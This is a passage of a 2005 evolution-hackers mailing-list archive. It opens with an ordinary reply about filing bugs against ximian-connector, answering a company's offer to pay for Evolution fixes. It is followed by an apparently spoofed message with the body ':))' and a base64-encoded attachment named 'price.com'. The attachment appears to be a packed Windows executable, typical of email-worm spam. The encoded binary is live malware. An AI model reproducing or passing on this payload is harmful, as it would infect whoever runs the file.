Feb 2005 07:57:19 +0800 Message-Id: <1107993439.4511.21.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.0 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_01,EMAIL_ATTRIBUTION,HTML_30_40, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-aM26uOcaPDF/Jp7jPqnO Content-Type: text/plain Content-Transfer-Encoding: 7bit FYI, Are you filing bugs against ximian-connector in ximian's bug system at bugzilla.ximian.com? Thats the only way real bugs are going to get fixed. On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: > Hi List! > > My Company is willing to PAY an evolution and evolution-exchange hacker > to fix bugs. We have many installations of debianised evolution in a MS > Exchange enviroment and the bugs pop up faster than they are getting > fixed in the debian repository. If u have the will and know-how, please > email me. > This is a serious offer. > > Juraj Holtak > SCHWAAR.COM > Austria > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-aM26uOcaPDF/Jp7jPqnO Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
FYI, Are you filing bugs against ximian-connector in ximian's bug system at bugzilla.ximian.com?  Thats the only way real bugs are going to get fixed.

On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: 
Hi List!

My Company is willing to PAY an evolution and evolution-exchange hacker
to fix bugs. We have many installations of debianised evolution in a MS
Exchange enviroment and the bugs pop up faster than they are getting
fixed in the debian repository. If u have the will and know-how, please
email me.
This is a serious offer.

Juraj Holtak
SCHWAAR.COM
Austria




_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-aM26uOcaPDF/Jp7jPqnO-- From notzed@ximian.com Wed Feb 9 21:35:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5F1F7124030; Wed, 9 Feb 2005 21:35:46 -0500 (EST) Received: from pc4.org (unknown [222.126.19.19]) by lists.ximian.com (Postfix) with SMTP id 2D5B012421A for ; Wed, 9 Feb 2005 21:35:42 -0500 (EST) Date: Thu, 10 Feb 2005 09:39:38 -0800 To: "Evolution-hackers" From: "Notzed" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------vhlhfodqfrrwzyzwayos" X-Spam-Status: No, hits=3.1 required=5.0 tests=BAYES_30,DATE_IN_FUTURE_12_24,HTML_30_40,MIME_HTML_ONLY, RAZOR2_CF_RANGE_91_100 version=2.53 X-Spam-Level: *** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Thank you! Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ----------vhlhfodqfrrwzyzwayos Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit :))
----------vhlhfodqfrrwzyzwayos Content-Type: application/octet-stream; name="price.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="price.com" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAAOgAAAEoAAAAAAAAAoAAA ABAAAABQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAACvUAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnKIAANEAAAAA8AAACgUAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABQAACwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAADoAAAAAAAC6OQAA ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAMAAAAAAAA8goAAABQAAAAAAAAAAAAAAAA AAAAAAAAAAAAAEAAAMAAMAAAAAAAAHU8AAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAUAAAAKAAAABEAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAACgUAAADw AAAKBQAAAEYAAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOhvAgAA 6OsI6wLNIP8kJJpmvnJy6AEAAACaWY2VRiJAAOgBAAAAaVhmv3Nn6CoCAACNUvnoAQAAAOhb aMz/4ppmZ2ZnZmhmZ2hmdXV5dXlpdWl1eWl1dWZuaGf/5Gn/pbIkQADp6J7////rAs0gi8Tr As0ggQAWAAAAD4X0AQAAaegAAAAAWJlqFVqNBAJQ6MABAABmPYbzdAPpjZXoIkAA6LUBAADo AQAAAGmDxASNvTclQAC5xT4AALqgE0Dvigf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrC KsbSwNLIMsHTwogHR0l10ugBAAAA6IPEBA8L6CvSZIsCiyBkjwJYXcOai5WyJEAA6EkBAADo AQAAAMeDxAS7JHoAAGoEaAAwAABTagD/lbYkQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QE UI2VNyVAAFLoDgAAAOgBAAAAaYPEBFpeDlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAA cxorwOhaAAAAcyBBsBDoUAAAABLAc/d1QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ 6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLS w+slNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP// /3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFp WFj/4FlSVY2F2iJAAFArwGT/MGSJIOsDx4ToUcPrA8eEmllB6/AAAAAAAAAAAOCiAAAAAAAA AAAAAPiiAADgogAA2KIAAAAAAAAAAAAABaMAANiiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFuj AAAAAAAAEKMAACGjAAAwowAAPqMAAE2jAAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwA AABHZXRQcm9jQWRkcmVzcwAAAExvYWRMaWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVh bEFsbG9jAAAAVmlydHVhbEZyZWUAAABNZXNzYWdlQm94QQAAAAAAOOPsgmcZU9rvqSegZqhi 3GHFZPb1lPM0F85JitM9UFESsYF8QP/EiezhkOVdRRXCPcj/Im/5FKV1/mqpkw3yKvte95dg yrd1XilACv8JupNPzsEIInl8wpYfM/uyzxJ5UCcGHYPA4trGBRuKJ9HMfRfp5oMoJmjokqGD IT6M4CoueHICOjHBAtW3ZeSQ6aP9l9zd0k48/DcTSu1fEeiCOJL0d39g/xyab3CktnEkHUFT CFzisjUEyJsg4LLn9YPllwezsmCH/FoLDp8ttt5rlq2cy18Y2O3lemS1iy+B35D9veT2X3ys 6mupMisPtw82NJQBvU4U30nV3kdI4KNtHjiz9AUOmU+oQYcw9M3v9pJHb2MNmFxxkYvyqDWc e6RdxePV2t324hZBq8QYxv3max0++yYDcGkyACO8/G4KtSp3pWGzY1JcpBqpAbzhyP/ULnKA z0+b3f/VkRjRxB2PmaEIWHRwGhBrg0Uw0PSJe8Yg0h/2VmzAKy5oXOlQFRj8Zsw4db79HYlW Pr9+CuuEJTjld0kFDMxhu9qwrqoSyHV8udPRW1idiK0838ZRLmgqA95Jliqzqa8fl8gTLxr+ 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 